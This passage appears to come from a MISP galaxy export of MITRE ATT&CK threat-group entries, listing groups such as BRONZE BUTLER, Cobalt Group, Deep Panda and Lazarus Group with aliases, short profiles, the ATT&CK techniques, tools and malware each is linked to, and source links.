uses: misp-galaxy:mitre-attack-pattern="Data Staged - T1074" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-tool="Net - S0039" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Account Manipulation - T1098" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Account Discovery - T1087" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data Compressed - T1002" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-tool="Reg - S0075" with estimative-language:likelihood-probability="almost-certain"

Table 2966. Table References
Links
https://attack.mitre.org/groups/G0074
https://www.us-cert.gov/ncas/alerts/TA18-074A
https://www.symantec.com/connect/blogs/dragonfly-western-energy-sector-targeted-sophisticated-attack-group
http://fortune.com/2017/09/06/hack-energy-grid-symantec/

Lotus Blossom - G0030

[Lotus Blossom](https://attack.mitre.org/groups/G0030) is a threat group that has targeted government and military organizations in Southeast Asia. (Citation: Lotus Blossom Jun 2015)

The tag is: misp-galaxy:mitre-intrusion-set="Lotus Blossom - G0030"

Lotus Blossom - G0030 is also known as:

Lotus Blossom
DRAGONFISH
Spring Dragon

Lotus Blossom - G0030 has relationships with:

similar: misp-galaxy:threat-actor="Lotus Blossom" with estimative-language:likelihood-probability="likely"
uses: misp-galaxy:mitre-malware="Elise - S0081" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="Emissary - S0082" with estimative-language:likelihood-probability="almost-certain"

Table 2967. Table References
Links
https://attack.mitre.org/groups/G0030
https://www.paloaltonetworks.com/resources/research/unit42-operation-lotus-blossom.html
https://www.accenture.com/t20180127T003755Z_w_/us-en/acnmedia/PDF-46/Accenture-Security-Dragonfish-Threat-Analysis.pdf[https://www.accenture.com/t20180127T003755Z_w/us-en/_acnmedia/PDF-46/Accenture-Security-Dragonfish-Threat-Analysis.pdf]
https://securelist.com/the-spring-dragon-apt/70726/

BRONZE BUTLER - G0060

[BRONZE BUTLER](https://attack.mitre.org/groups/G0060) is a cyber espionage group with likely Chinese origins that has been active since at least 2008. The group primarily targets Japanese organizations, particularly those in government, biotechnology, electronics manufacturing, and industrial chemistry. (Citation: Trend Micro Daserf Nov 2017) (Citation: Secureworks BRONZE BUTLER Oct 2017)

The tag is: misp-galaxy:mitre-intrusion-set="BRONZE BUTLER - G0060"

BRONZE BUTLER - G0060 is also known as:

BRONZE BUTLER
REDBALDKNIGHT
Tick

BRONZE BUTLER - G0060 has relationships with:

similar: misp-galaxy:threat-actor="Tick" with estimative-language:likelihood-probability="likely"
uses: misp-galaxy:mitre-attack-pattern="Data Compressed - T1002" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-tool="cmd - S0106" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="User Execution - T1204" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Bypass User Account Control - T1088" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="Daserf - S0187" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-tool="Windows Credential Editor - S0005" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Web Service - T1102" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Drive-by Compromise - T1189" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Account Discovery - T1087" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Cryptographic Protocol - T1032" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-tool="gsecdump - S0008" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-tool="Mimikatz - S0002" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote System Discovery - T1018" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Time Discovery - T1124" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Scripting - T1064" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Exploitation for Client Execution - T1203" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Custom Cryptographic Protocol - T1024" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data Encrypted - T1022" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Binary Padding - T1009" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Pass the Ticket - T1097" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-tool="at - S0110" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1193" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-tool="Net - S0039" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data Encoding - T1132" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data from Network Shared Drive - T1039" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1086" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-tool="schtasks - S0111" with estimative-language:likelihood-probability="almost-certain"

Table 2968. Table References
Links
https://attack.mitre.org/groups/G0060
http://blog.trendmicro.com/trendlabs-security-intelligence/redbaldknight-bronze-butler-daserf-backdoor-now-using-steganography/
https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses
https://www.symantec.com/connect/blogs/tick-cyberespionage-group-zeros-japan

Dark Caracal - G0070

[Dark Caracal](https://attack.mitre.org/groups/G0070) is threat group that has been attributed to the Lebanese General Directorate of General Security (GDGS) and has operated since at least 2012. (Citation: Lookout Dark Caracal Jan 2018)

The tag is: misp-galaxy:mitre-intrusion-set="Dark Caracal - G0070"

Dark Caracal - G0070 is also known as:

Dark Caracal

Dark Caracal - G0070 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Scripting - T1064" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="User Execution - T1204" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="FinFisher - S0182" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="Bandook - S0234" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Spearphishing via Service - T1194" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Drive-by Compromise - T1189" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Compiled HTML File - T1223" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="CrossRAT - S0235" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Software Packing - T1045" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="Pallas - S0399" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Deliver Malicious App via Other Means - T1476" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1437" with estimative-language:likelihood-probability="almost-certain"

Table 2969. Table References
Links
https://attack.mitre.org/groups/G0070
https://info.lookout.com/rs/051-ESQ-475/images/Lookout_Dark-Caracal_srr_20180118_us_v.1.0.pdf

Cobalt Group - G0080

[Cobalt Group](https://attack.mitre.org/groups/G0080) is a financially motivated threat group that has primarily targeted financial institutions. The group has conducted intrusions to steal money via targeting ATM systems, card processing, payment systems and SWIFT systems. [Cobalt Group](https://attack.mitre.org/groups/G0080) has mainly targeted banks in Eastern Europe, Central Asia, and Southeast Asia. One of the alleged leaders was arrested in Spain in early 2018, but the group still appears to be active. The group has been known to target organizations in order to use their access to then compromise additional victims. (Citation: Talos Cobalt Group July 2018) (Citation: PTSecurity Cobalt Group Aug 2017) (Citation: PTSecurity Cobalt Dec 2016) (Citation: Group IB Cobalt Aug 2017) (Citation: Proofpoint Cobalt June 2017) (Citation: RiskIQ Cobalt Nov 2017) (Citation: RiskIQ Cobalt Jan 2018) Reporting indicates there may be links between [Cobalt Group](https://attack.mitre.org/groups/G0080) and both the malware [Carbanak](https://attack.mitre.org/software/S0030) and the group [Carbanak](https://attack.mitre.org/groups/G0008). (Citation: Europol Cobalt Mar 2018)

The tag is: misp-galaxy:mitre-intrusion-set="Cobalt Group - G0080"

Cobalt Group - G0080 is also known as:

Cobalt Group
Cobalt Gang
Cobalt Spider

Cobalt Group - G0080 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Remote Desktop Protocol - T1076" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="CMSTP - T1191" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Redundant Access - T1108" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="User Execution - T1204" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Spearphishing Link - T1192" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Network Service Scanning - T1046" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="New Service - T1050" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="More_eggs - S0284" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Bypass User Account Control - T1088" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-tool="PsExec - S0029" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Exploitation for Privilege Escalation - T1068" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1193" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-tool="SDelete - S0195" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Regsvr32 - T1117" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Dynamic Data Exchange - T1173" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote Access Tools - T1219" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Exploitation for Client Execution - T1203" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Logon Scripts - T1037" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Cryptographic Protocol - T1032" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1063" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Scripting - T1064" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="XSL Script Processing - T1220" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1086" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-tool="Mimikatz - S0002" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-tool="Cobalt Strike - S0154" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Signed Binary Proxy Execution - T1218" with estimative-language:likelihood-probability="almost-certain"

Table 2970. Table References
Links
https://attack.mitre.org/groups/G0080
https://blog.talosintelligence.com/2018/07/multiple-cobalt-personality-disorder.html
https://www.ptsecurity.com/upload/corporate/ww-en/analytics/Cobalt-2017-eng.pdf
https://www.ptsecurity.com/upload/corporate/ww-en/analytics/Cobalt-Snatch-eng.pdf
https://www.group-ib.com/blog/cobalt
https://www.proofpoint.com/us/threat-insight/post/microsoft-word-intruder-integrates-cve-2017-0199-utilized-cobalt-group-target
https://www.riskiq.com/blog/labs/cobalt-strike/
https://www.riskiq.com/blog/labs/cobalt-group-spear-phishing-russian-banks/
https://www.europol.europa.eu/newsroom/news/mastermind-behind-eur-1-billion-cyber-bank-robbery-arrested-in-spain
https://crowdstrike.lookbookhq.com/global-threat-report-2018-web/cs-2018-global-threat-report
https://blog.morphisec.com/cobalt-gang-2.0

Deep Panda - G0009

[Deep Panda](https://attack.mitre.org/groups/G0009) is a suspected Chinese threat group known to target many industries, including government, defense, financial, and telecommunications. (Citation: Alperovitch 2014) The intrusion into healthcare company Anthem has been attributed to [Deep Panda](https://attack.mitre.org/groups/G0009). (Citation: ThreatConnect Anthem) This group is also known as Shell Crew, WebMasters, KungFu Kittens, and PinkPanther. (Citation: RSA Shell Crew) [Deep Panda](https://attack.mitre.org/groups/G0009) also appears to be known as Black Vine based on the attribution of both group names to the Anthem intrusion. (Citation: Symantec Black Vine) Some analysts track [Deep Panda](https://attack.mitre.org/groups/G0009) and [APT19](https://attack.mitre.org/groups/G0073) as the same group, but it is unclear from open source information if the groups are the same. (Citation: ICIT China’s Espionage Jul 2016)

The tag is: misp-galaxy:mitre-intrusion-set="Deep Panda - G0009"

Deep Panda - G0009 is also known as:

Deep Panda
Shell Crew
WebMasters
KungFu Kittens
PinkPanther
Black Vine

Deep Panda - G0009 has relationships with:

similar: misp-galaxy:threat-actor="Shell Crew" with estimative-language:likelihood-probability="likely"
similar: misp-galaxy:threat-actor="Hurricane Panda" with estimative-language:likelihood-probability="likely"
similar: misp-galaxy:threat-actor="Codoso" with estimative-language:likelihood-probability="likely"
uses: misp-galaxy:mitre-attack-pattern="Regsvr32 - T1117" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-tool="Ping - S0097" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="Sakula - S0074" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Indicator Removal from Tools - T1066" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Windows Admin Shares - T1077" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-tool="Tasklist - S0057" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote System Discovery - T1018" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Scripting - T1064" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-tool="Net - S0039" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="StreamEx - S0142" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Accessibility Features - T1015" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="Mivast - S0080" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="Derusbi - S0021" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1086" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Web Shell - T1100" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Hidden Window - T1143" with estimative-language:likelihood-probability="almost-certain"

Table 2971. Table References
Links
https://attack.mitre.org/groups/G0009
https://blog.crowdstrike.com/deep-thought-chinese-targeting-national-security-think-tanks/
https://www.threatconnect.com/the-anthem-hack-all-roads-lead-to-china/
https://www.emc.com/collateral/white-papers/h12756-wp-shell-crew.pdf
http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-black-vine-cyberespionage-group.pdf
https://web.archive.org/web/20171017072306/https://icitech.org/icit-brief-chinas-espionage-dynasty-economic-death-by-a-thousand-cuts/

Dust Storm - G0031

[Dust Storm](https://attack.mitre.org/groups/G0031) is a threat group that has targeted multiple industries in Japan, South Korea, the United States, Europe, and several Southeast Asian countries. (Citation: Cylance Dust Storm)

The tag is: misp-galaxy:mitre-intrusion-set="Dust Storm - G0031"

Dust Storm - G0031 is also known as:

Dust Storm

Dust Storm - G0031 has relationships with:

similar: misp-galaxy:threat-actor="Dust Storm" with estimative-language:likelihood-probability="likely"
uses: misp-galaxy:mitre-malware="S-Type - S0085" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="Misdat - S0083" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="ZLib - S0086" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="Mis-Type - S0084" with estimative-language:likelihood-probability="almost-certain"

Table 2972. Table References
Links
https://attack.mitre.org/groups/G0031
https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf

Night Dragon - G0014

[Night Dragon](https://attack.mitre.org/groups/G0014) is a campaign name for activity involving a threat group that has conducted activity originating primarily in China. (Citation: McAfee Night Dragon)

The tag is: misp-galaxy:mitre-intrusion-set="Night Dragon - G0014"

Night Dragon - G0014 is also known as:

Night Dragon

Night Dragon - G0014 has relationships with:

similar: misp-galaxy:threat-actor="Night Dragon" with estimative-language:likelihood-probability="likely"
uses: misp-galaxy:mitre-tool="gsecdump - S0008" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Exploit Public-Facing Application - T1190" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="zwShell - S0350" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Disabling Security Tools - T1089" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Spearphishing Link - T1192" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-tool="PsExec - S0029" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="ASPXSpy - S0073" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-tool="at - S0110" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Pass the Hash - T1075" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote Access Tools - T1219" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="User Execution - T1204" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="External Remote Services - T1133" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Software Packing - T1045" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data Staged - T1074" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Acquire and/or use 3rd party infrastructure services - T1307" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Acquire and/or use 3rd party software services - T1330" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote access tool development - T1351" with estimative-language:likelihood-probability="almost-certain"

Table 2973. Table References
Links
https://attack.mitre.org/groups/G0014
https://securingtomorrow.mcafee.com/wp-content/uploads/2011/02/McAfee_NightDragon_wp_draft_to_customersv1-1.pdf

Tropic Trooper - G0081

[Tropic Trooper](https://attack.mitre.org/groups/G0081) is an unaffiliated threat group that has led targeted campaigns against targets in Taiwan, the Philippines, and Hong Kong. [Tropic Trooper](https://attack.mitre.org/groups/G0081) focuses on targeting government, healthcare, transportation, and high-tech industries and has been active since 2011.(Citation: TrendMicro Tropic Trooper Mar 2018)(Citation: Unit 42 Tropic Trooper Nov 2016)

The tag is: misp-galaxy:mitre-intrusion-set="Tropic Trooper - G0081"

Tropic Trooper - G0081 is also known as:

Tropic Trooper
KeyBoy

Tropic Trooper - G0081 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Hidden Files and Directories - T1158" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="PoisonIvy - S0012" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Winlogon Helper DLL - T1004" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Exploitation for Client Execution - T1203" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1193" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1063" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Cryptographic Protocol - T1032" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Template Injection - T1221" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="DLL Side-Loading - T1073" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Network Service Scanning - T1046" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Network Share Discovery - T1135" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="KeyBoy - S0387" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="Yahoyah - S0388" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="New Service - T1050" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-tool="BITSAdmin - S0190" with estimative-language:likelihood-probability="almost-certain"

Table 2974. Table References
Links
https://attack.mitre.org/groups/G0081
https://blog.trendmicro.com/trendlabs-security-intelligence/tropic-trooper-new-strategy/
https://researchcenter.paloaltonetworks.com/2016/11/unit42-tropic-trooper-targets-taiwanese-government-and-fossil-fuel-provider-with-poison-ivy/

Lazarus Group - G0032

[Lazarus Group](https://attack.mitre.org/groups/G0032) is a threat group that has been attributed to the North Korean government.(Citation: US-CERT HIDDEN COBRA June 2017) The group has been active since at least 2009 and was reportedly responsible for the November 2014 destructive wiper attack against Sony Pictures Entertainment as part of a campaign named Operation Blockbuster by Novetta. Malware used by [Lazarus Group](https://attack.mitre.org/groups/G0032) correlates to other reported campaigns, including Operation Flame, Operation 1Mission, Operation Troy, DarkSeoul, and Ten Days of Rain. (Citation: Novetta Blockbuster) In late 2017, [Lazarus Group](https://attack.mitre.org/groups/G0032) used KillDisk, a disk-wiping tool, in an attack against an online casino based in Central America. (Citation: Lazarus KillDisk)

North Korean group definitions are known to have significant overlap, and the name [Lazarus Group](https://attack.mitre.org/groups/G0032) is known to encompass a broad range of activity. Some organizations use the name Lazarus Group to refer to any activity attributed to North Korea.(Citation: US-CERT HIDDEN COBRA June 2017) Some organizations track North Korean clusters or groups such as Bluenoroff,(Citation: Kaspersky Lazarus Under The Hood Blog 2017) [APT37](https://attack.mitre.org/groups/G0067), and [APT38](https://attack.mitre.org/groups/G0082) separately, while other organizations may track some activity associated with those group names by the name Lazarus Group.

The tag is: misp-galaxy:mitre-intrusion-set="Lazarus Group - G0032"

Lazarus Group - G0032 is also known as:

Lazarus Group
HIDDEN COBRA
Guardians of Peace
ZINC
NICKEL ACADEMY

Lazarus Group - G0032 has relationships with:

similar: misp-galaxy:threat-actor="Lazarus Group" with estimative-language:likelihood-probability="likely"
similar: misp-galaxy:threat-actor="COVELLITE" with estimative-language:likelihood-probability="likely"
uses: misp-galaxy:mitre-attack-pattern="Access Token Manipulation - T1134" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="Proxysvc - S0238" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Account Manipulation - T1098" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Drive-by Compromise - T1189" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Hidden Files and Directories - T1158" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Compiled HTML File - T1223" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Scripting - T1064" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Bootkit - T1067" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote Desktop Protocol - T1076" with estimative-language:likelihood-probability="almost-certain"
